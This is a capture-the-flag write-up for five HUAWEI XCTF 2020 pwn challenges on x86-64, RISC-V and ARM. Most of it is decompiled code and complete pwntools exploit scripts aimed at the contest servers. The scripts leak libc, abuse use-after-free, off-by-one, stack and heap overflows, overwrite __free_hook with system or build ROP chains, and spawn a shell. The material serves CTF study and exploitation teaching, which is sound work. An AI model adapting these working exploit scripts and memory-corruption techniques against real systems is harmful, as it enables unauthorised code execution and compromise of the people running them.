HUAWEI XCTF 2020 PWN WRITE UP

HUAWEI XCTF 2020 First

CPP

checksec

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Use the cutter decompiler to analize this program

undefined8 main(void)
{
    int64_t *piVar1;
    int64_t iVar2;
    undefined *arg1;
    undefined *puVar3;
    int64_t in_FS_OFFSET;
    uint64_t uStack40;
    int64_t iStack32;

    iStack32 = *(int64_t *)(in_FS_OFFSET + 0x28);
    setvbuf(_reloc.stdin, 0, 2, 0);
    setvbuf(_reloc.stdout, 0, 2, 0);
    setvbuf(_reloc.stderr, 0, 2, 0);
    uStack40 = 0;
    while( true ) {
        while( true ) {

            std::basic_ostream >& std::__ostream_insert >(std::basic_ostream >&, char const*, long)
                      (reloc.std::cout, 0x2004, 2);
            uStack40 = 0x539;
            std::istream& std::istream::_M_extract(unsigned long&)(reloc.std::cin, &uStack40);
            if (uStack40 != 0) break;
            arg1 = (undefined *)operator new[](unsigned long)(8);
            puVar3 = arg1;
            do {
                *puVar3 = 0;
                puVar3 = puVar3 + 1;
            } while (puVar3 != arg1 + 8);

            std::basic_ostream >& std::operator<<  >(std::basic_ostream >&, char const*)
                      (reloc.std::cout, 0x2004);
            fcn.000012c9((int64_t)arg1, 8);

            std::basic_ostream >& std::operator<<  >(std::basic_ostream >&, char const*)
                      (reloc.std::cout, 0x2004);
            std::istream& std::istream::_M_extract(unsigned long&)(reloc.std::cin, &uStack40);
            if (uStack40 < 0x100) {
                piVar1 = (int64_t *)(uStack40 * 8 + 0x42e0);
                iVar2 = *piVar1;
                *piVar1 = (int64_t)arg1;
                if (iVar2 != 0) {
                    operator delete[](void*)();
                }
            } else {
                operator delete[](void*)(arg1);
            }
        }
        if (uStack40 != 1) break;

        std::basic_ostream >& std::operator<<  >(std::basic_ostream >&, char const*)
                  (reloc.std::cout, 0x2004);
        std::istream& std::istream::_M_extract(unsigned long&)(reloc.std::cin, &uStack40);
        if (uStack40 < 0x100) {
            piVar1 = (int64_t *)(uStack40 * 8 + 0x42e0);
            iVar2 = *piVar1;
            *piVar1 = 0;
            if (iVar2 != 0) {
                operator delete[](void*)(iVar2);
                puts(iVar2);

                std::basic_ostream >& std::operator<<  >(std::basic_ostream >&, char const*)
                          (reloc.std::cout, 0x2004);
                fcn.000012c9(iVar2, 8);
            }
        }
    }
    if (iStack32 == *(int64_t *)(in_FS_OFFSET + 0x28)) {
        return 0;
    }
    // WARNING: Subroutine does not return
    __stack_chk_fail();
}

It’s easy to discover the vulnerability is uaf

exp

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = 'chall'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'

# remote server ip and port
server_ip = "124.70.12.210"
server_port = 10002

# if local debug
LOCAL = 0
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def fn1(d, idx):
    sla('>', '0')
    sla('>', d)
    sla('>', str(idx))

def fn2(idx, d):
    sla('>', '1')
    sla('>', str(idx))
    sla('>', d)

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    # leak heap
    fn1('123', 0x11)
    fn1('123', 0x12)

    fn2(0x11, 'AAA')

    sla('>', '1')
    sla('>', str(0x12))
    leak = u64(ru('\x0a')[-6:].ljust(8, b'\x00'))
    heap_base = leak - 0x11eb0
    heap = leak
    li('leak: ' + hex(leak))
    #li('heap: ' + hex(heap))
    sla('>', '')

    for i in range(0x30):
        fn1('', 0x10 + i)

    fn2(0x10, 'BBBB')
    fn2(0x12, p64(heap + 0x58)[0:7])

    fn1('sh\x00', 0)
    fn1(p64(0x20 * 0x25 + 1)[0:7], 1)

    sla('>', '1')
    sla('>', str(0x13))
    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
    __free_hook = libc_base + libc.sym['__free_hook']
    system = libc_base + libc.sym['system']
    #one_gadget = libc_base + 
    li('leak: ' + hex(leak))
    li('libc_base: ' + hex(libc_base))
    sla('>', '')

    fn2(0x20, 'BBBB')
    fn2(0x21, p64(__free_hook)[0:7])

    fn1('', 2)

    db()
    fn1(p64(system), 3)

def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_PRELOAD" : libc_path} )
        else:
            io = elf.process()
    else:
        libc_path = './libc.so.6'
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

HUAWEI XCTF 2020 Second

honorbook

I’m not good at using gdb to debug this riscv architecture. Because this is the first time I’ve met this architecture. So I use c language to write a same function as this challenge, compile as amd64 arch to debug then analize the layout of heap. The vulnerability is off by one

#include <cstdio>
#include <iostream>
#include <cstdlib>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

void func();
void menu();
void init();
void show();
void del();
void add();
void modify();
char *plist[30];
char *pname[30];

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void menu() {
    std::cout << "code:";
}

void func() {
    int a = 0;
    while(1) {
        menu();
        std::cin >> a; 
        switch(a) {
            case 1: add(); break;
            case 2: del(); break;
            case 3: show(); break;
            case 4: modify(); break;
            default: 
                puts("code err:");
                continue;
        }
    }
}

void add() {
    size_t size = 0xe8;
    int idx;
    std::cout << "idx:";
    std::cin >> idx;
    pname[idx] = new char[0x20];
    std::cout << "name:" << std::endl;
    read(0, pname[idx], 0x18);

    plist[idx] = (char*)malloc(size);
    std::cout << "msg:";
    for(int i = 0; i <= size; ++i) {
        read(0, plist[idx] + i, 1);
        if(*(plist[idx] + i) == '\n')
            break;
    }
}

void del() {
    int idx;
    std::cout << "idx:";
    std::cin >> idx;
    if(plist[idx] == nullptr) {
        return ;
    }
    free(plist[idx]);

    delete[] pname[idx];
    pname[idx] = nullptr;
    plist[idx] = nullptr;
}

void show() {
    int idx;    
    std::cout << "idx:";
    std::cin >> idx;
    if(plist[idx] == nullptr) {
        std::cout << "err" << std::endl;
        return ;
    }
    std::cout << "msg:" << plist[idx] << std::endl;
}

void modify() {
    int idx;
    std::cout << "idx:";
    std::cin >> idx;
    if(plist[idx] == nullptr) {
        return ;
    }
    std::cout << "msg:";
    size_t size = 0xf8;
    for(int i = 0; i < size; ++i) {
        read(0, plist[idx] + i, 1);
        if(*(plist[idx] + i) == '\n')
            break;
    }
}

int main(int, char**) {
    init();
    func();
    return 0;
}

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
#context.arch='em_riscv-64-little'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = './honorbook'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = 'libs/lib/libc.so.6'

# remote server ip and port
server_ip = "121.36.192.114"
server_port = 9999

# if local debug
LOCAL = 1
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def ad(idx, n, d):
    sla(':', '1')
    sla(':', str(idx))
    sa(':', n) # max 0x18
    sa(':', d) # max 0xE9

def rm(idx):
    sla(':', '2')
    sla(':', str(idx))

def dp(idx):
    sla(':', '3')
    sla(':', str(idx))

def md(idx, d):
    sla(':', '4')
    sla(':', str(idx))
    sa(':', d) # max 0xE9

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    # name -> size == 0x30
    # body -> size == 0x100

    #ad(0, 'A' * 0x18, 'D' * 0xE9)
    # leak libc

    for i in range(8):
        ad(i, 'A', '\n')

    for i in range(8):
        rm(7 - i)

    for i in range(7):
        ad(i, 'A', '\n')
    ad(7, 'A', 'AAAAAAA\n')
    dp(7)

    ru('AA\n')
    #libc.sym['__malloc_hook']
    leak = u64(ru('\n').ljust(8, b'\x00'))
    libc_base = 0x4000000000 + leak - libc.sym['__malloc_hook'] - 88 - 0x10

    system = libc_base + libc.sym['system']
    __free_hook = libc_base + libc.sym['__free_hook']

    rm(2)
    rm(0)
    ad(0, 'A', 'A' * 0xe8 + '\xf1')
    rm(1)
    p =  b'B' * 0x20
    p += p64(0) + p64(0xf1)
    p += p64(__free_hook) + p64(0)
    p += b'\n'
    ad(8, 'A', p)

    li('leak: ' + hex(leak))
    li('libc_base: ' + hex(libc_base))
    li('free_hook: ' + hex(__free_hook))
    li('system: ' + hex(system))

    ad(9, '/bin/sh\x00', '/bin/sh\x00\n')
    ad(10, 'A', p64(system) + b'\n')
    rm(9)


def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        if LIBC:
            libc = ELF(libc_path)
            #io = elf.process(env = {"LD_PRELOAD" : libc_path} )
            io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
            #io = process(['/usr/bin/qemu-riscv64-static', '-g', '1235', '-L' , './libs', elf_path])
        else:
            #io = elf.process()
            #io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
            io = process(['/usr/bin/qemu-riscv64-static', '-g', '1234', '-L' , './libs', elf_path])
    else:
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

HUAWEI XCTF 2020 Third

shell

checksec

    Arch:     em_riscv-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000)
    RWX:      Has RWX segments

It’s a riscv-64 arch, We have to use latest ghidra decompilier to annalize this program, version as: 9.21

vul

In echo function, there is a stackoverflow vulnerability.

void echo(longlong param_1)
{
  longlong lVar1;
  char **ppcVar2;
  char *pcVar3;
  char *__s2;
  int iVar4;
  ssize_t sVar5;
  undefined4 extraout_var;
  undefined4 extraout_var_00;
  undefined4 extraout_var_01;
  size_t __nbytes;
  longlong lVar6;
  undefined auStack320 [264];

  lVar1 = *(longlong *)(param_1 + 8);
  pcVar3 = *(char **)(lVar1 + 8);
  iVar4 = strcmp(pcVar3,">");
  if (CONCAT44(extraout_var,iVar4) == 0) {
    lVar6 = 0;
  }
  else {
    iVar4 = strcmp(pcVar3,">>");
    lVar6 = 1;
    if (CONCAT44(extraout_var_00,iVar4) != 0) {
                    /* WARNING: Subroutine does not return*/
      error();
    }
  }
  pcVar3 = *(char **)(lVar1 + 0x10);
  ppcVar2 = (char **)&gp0xfffffffffffffa60;
  while ((__s2 = *ppcVar2, __s2 == (char *)0x0 ||
         (iVar4 = strcmp(pcVar3,__s2),CONCAT44(extraout_var_01,iVar4) != 0))) {
    ppcVar2 = ppcVar2 + 1;
    if (ppcVar2 == (char **)&gp0xfffffffffffffbe0) {
      __nbytes = 0x200;
LAB_00011516:
      sVar5 = read(0,auStack320,__nbytes); // vul
      FUN_000113e2(*(char **)(*(longlong *)(param_1 +8) + 0x10),auStack320,(longlong)sVar5,lVar6);
      return;
    }
  }
  __nbytes = *(size_t *)(__s2 + 0x18);
  goto LAB_00011516;
}

Use unsorted bin leak to leak libc address then use return-to-csu method to get shell

                             LAB_0001181a                                    XREF[1]:     00011828(j)  
        0001181a 1c 60           c.ld       a5,0x0(s0=>->_INIT_0)                            = 10F84h
                                                                                             = 11056h
        0001181c 56 86           c.mv       a2,s5
        0001181e d2 85           c.mv       a1,s4
        00011820 4e 85           c.mv       a0,s3
        00011822 85 04           c.addi     s1,0x1
        00011824 82 97           c.jalr     a5=>_INIT_0                                      undefined _INIT_1(void)
                                                                                             undefined _INIT_0(void)
        00011826 21 04           c.addi     s0,0x8
        00011828 e3 19 99 fe     bne        s2,s1,LAB_0001181a
                             LAB_0001182c                                    XREF[1]:     0001180e(j)  
        0001182c e2 70           c.ldsp     ra,0x38(sp)
        0001182e 42 74           c.ldsp     s0,0x30(sp)
        00011830 a2 74           c.ldsp     s1,0x28(sp)
        00011832 02 79           c.ldsp     s2,0x20(sp)
        00011834 e2 69           c.ldsp     s3,0x18(sp)
        00011836 42 6a           c.ldsp     s4,0x10(sp)
        00011838 a2 6a           c.ldsp     s5,0x8(sp)
        0001183a 21 61           c.addi16sp sp,0x40
        0001183c 82 80           ret

gdb script

#! /bin/sh
gdb-multiarch --nh \
        -ex "add-symbol-file ./harmoshell" \
        -ex "set architecture riscv:rv64" \
        -ex "target remote 127.0.0.1:1234"

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = './harmoshell'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = 'libs/lib/libc.so.6'

# remote server ip and port
server_ip = "121.36.192.114"
server_port = 9999

# if local debug
LOCAL = 1
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def touch(n):
    sla('$', b'touch ' + n)

def rm(n):
    sla('$', b'rm ' + n)

def ls():
    sla('$', 'ls')

def cat(n):
    sla('$', 'cat ' + n)

def echo(t, n, d):
    sla('$', 'echo ' + t + ' ' + n)
    s(d)

def quit():
    sla('$', 'exit')

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    # leak libc
    for i in range(9):
        touch(str(i).encode())

    for i in range(8):
        rm(str(7 - i).encode())

    for i in range(7):
        touch(str(i).encode())

    touch(b'7')
    echo('>>', '7', 'A' * 7 + '&')
    cat('7')
    ru('&')
    leak = u64(r(3).ljust(8 , b'\x00'))
    libc_base = 0x0000004000000000 + leak - libc.sym['__malloc_hook'] - 88 - 0x10
    li('leak: ' + hex(leak))
    li('libc_base: ' + hex(libc_base))

    touch(b'debug')
    csu_c = 0x0001181a
    csu_i = 0x0001182c
    system = libc_base + libc.sym['system']
    bin_sh = libc_base + 0xed4b0
    li('system: ' + hex(system))
    p = b'\x00' * 0x138
    #p += p64(system)
    #p += p64(bin_sh)

    # modify a0 arg
    p += p64(csu_i)
    p += p64(0) # null
    p += p64(8) # s5 -> a2
    p += p64(elf.got['read'] + 8) # s4 -> a1
    p += p64(0) # s3 -> a0
    p += p64(1) # s2 -> bypass jump
    p += p64(0) # s1 -> bypass jump
    p += p64(elf.got['read']) # s0 -> call
    p += p64(csu_c)

    p += p64(0)
    #p += p64(0)
    p += p64(1) # s5 -> a2
    p += p64(2) # s4 -> a1
    p += p64(bin_sh) # s3 -> a0
    p += p64(1) # s2 -> bypass jump
    p += p64(0) # s1 -> bypass jump
    p += p64(elf.got['read'] + 8) # call our func
    p += p64(csu_c)

    echo('>', '9', p)
    s(p64(system))

def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF('./harmoshell')
        if LIBC:
            libc = ELF(libc_path)
            io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
            #io = process(['./qemu-riscv64', '-g', '1234', '-L' , './libs', elf_path])
        else:
            io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
            #io = process(['./qemu-riscv64', '-g', '1234', '-L' , './libs', elf_path])
    else:
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

shell2

checksec

    Arch:     em_riscv-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000)
    RWX:      Has RWX segments

vul

void echo(longlong param_1)

{
  longlong lVar1;
  int iVar2;
  ssize_t sVar3;
  undefined4 extraout_var;
  undefined4 extraout_var_00;
  size_t __nbytes;
  char *__s1;
  undefined8 uVar4;
  undefined auStack288 [256];

  lVar1 = *(longlong *)(param_1 + 8);
  __s1 = *(char **)(lVar1 + 8);
  iVar2 = strcmp(__s1,">");
  if (CONCAT44(extraout_var,iVar2) == 0) {
    uVar4 = 0;
  }
  else {
    iVar2 = strcmp(__s1,">>");
    uVar4 = 1;
    if (CONCAT44(extraout_var_00,iVar2) != 0) {
                    /* WARNING: Subroutine does not return*/
      FUN_000113ee();
    }
  }
  lVar1 = FUN_000110bc(*(undefined8 *)(lVar1 +0x10));
  __nbytes = 0x100;
  if (-1 < lVar1) {
    __nbytes = *(size_t *)(*(longlong*)(&gp0xfffffffffffffa60 + lVar1 * 8) + 0x18);
  }
  sVar3 = read(0,auStack288,__nbytes);
  FUN_00011384(*(undefined8 *)(*(longlong*)(param_1 + 8) +0x10),auStack288,(longlong)sVar3,uVar4);
  return;
}

The vulnerability is heap overflow. we can use echo >> nmae to realize it

gdb script

#! /bin/sh
gdb-multiarch --nh \
        -ex "add-symbol-file ./harmoshell2" \
        -ex "set architecture riscv:rv64" \
        -ex "target remote 127.0.0.1:1234"

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = './harmoshell2'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = 'libs/lib/libc.so.6'

# remote server ip and port
server_ip = "121.36.192.114"
server_port = 9999

# if local debug
LOCAL = 1
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def touch(n):
    sla('$', b'touch ' + n)

def rm(n):
    sla('$', b'rm ' + n)

def ls():
    sla('$', 'ls')

def cat(n):
    sla('$', 'cat ' + n)

def echo(t, n, d):
    sla('$', 'echo ' + t + ' ' + n)
    s(d)

def quit():
    sla('$', 'exit')

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    # leak libc
    for i in range(9):
        touch(str(i).encode())

    for i in range(8):
        rm(str(7 - i).encode())

    for i in range(7):
        touch(str(i).encode())

    touch(b'7')
    echo('>>', '7', 'A' * 7 + '&')
    cat('7')
    ru('&')
    leak = u64(r(3).ljust(8 , b'\x00'))
    libc_base = 0x0000004000000000 + leak - libc.sym['__malloc_hook'] - 88 - 0x10
    li('leak: ' + hex(leak))
    li('libc_base: ' + hex(libc_base))

    touch(b'debug')
    csu_c = 0x0001181a
    csu_i = 0x0001182c
    system = libc_base + libc.sym['system']
    bin_sh = libc_base + 0xed4b0
    free_hook = libc_base + libc.sym['__free_hook']
    li('system: ' + hex(system))
    #rm(b'8')

    touch(b'a')
    touch(b'b')
    echo('>', 'a', '/bin/sh\x00'.ljust(0x100, '\x00'))
    #echo('>', 'b', 'B' * 0x100)
    p = p64(0) + p64(0x31)
    p += b'b'.ljust(0x10, b'\x00')
    p += p64(free_hook) + p64(0x100)
    echo('>>', 'a',  p) # heap overflow
    li('__free_hook: ' + hex(free_hook))
    echo('>', 'b', p64(system))
    rm(b'a')

    #touch(b'debug')

def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
            #io = process(['./qemu-riscv64', '-g', '1234', '-L' , './libs', elf_path])
        else:
            io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
            #io = process(['./qemu-riscv64', '-g', '1234', '-L' , './libs', elf_path])
    else:
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

pwnit

checksec

    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

vul

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[260]; // [sp+0h] [bp-104h] BYREF

  setvbuf((FILE *)stdout, 0, 2, 0);
  printf("input: ");
  read(0, buf, 0x300u);
  return 0;
}

It’s easy to found the vul. use arm gadget to exploit it! so we must leak libc before modify something

Use print print.got table to leak

    main = 0x000104A0
    #gadget_2 = 0x000104F8 #  MOV R0, R3;SUB SP, R11, #4; POP {R11,PC}
    gadget_1 = 0x00010348 # pop {r3, pc}
    gadget_2 = 0x000104D8 # printf
    gadget_3 = 0x00010500 # pop {R11,PC}
    gadget_4 = 0x000104F8
    p = b'A' * 0x104
    p += p32(gadget_1)
    p += p32(elf.got['printf'])
    p += p32(gadget_3)
    p += p32(1) # r11
    #p += p32(elf.plt['printf'])
    p += p32(gadget_2)
    #li('ru')
    sla('input:', p)

So we can leak libc address, but we found that the address not change by every attack, so the aslr protector is off

Next attack, we just use modifying r0 regiseter gadget in libc to create a system(“/bin/sh”) rop chain to get shell

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = './bin'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc-2.31.so'

# remote server ip and port
server_ip = "139.159.210.220"
server_port = 9999

# if local debug
LOCAL = 0
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    main = 0x000104A0
    #gadget_2 = 0x000104F8 #  MOV R0, R3;SUB SP, R11, #4; POP {R11,PC}
    gadget_1 = 0x00010348 # pop {r3, pc}
    gadget_2 = 0x000104D8 # printf
    gadget_3 = 0x00010500 # pop {R11,PC}
    gadget_4 = 0x000104F8
    libc_base = 0xff6db39c - libc.sym['printf']
    system = libc_base + libc.sym['system']
    bin_sh = libc_base + 0xfe861
    gadget = libc_base + 0x0006beec # pop {r0, r4, pc}
    li('libc_base: ' + hex(libc_base))
    bss = 0x00020F08
    '''
    # leak
    p = b'A' * 0x104
    p += p32(gadget_1)
    p += p32(elf.got['printf'])
    p += p32(gadget_3)
    p += p32(1) # r11
    #p += p32(elf.plt['printf'])
    p += p32(gadget_2)
    #li('ru')
    sla('input:', p)
    '''
    p = b'A' * 0x100
    p += p32(bss + 0x100) # r11
    p += p32(gadget)
    p += p32(bin_sh)
    p += p32(bin_sh)
    p += p32(system)
    sla('input:', p)

def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_PRELOAD" : libc_path} )
        else:
            io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()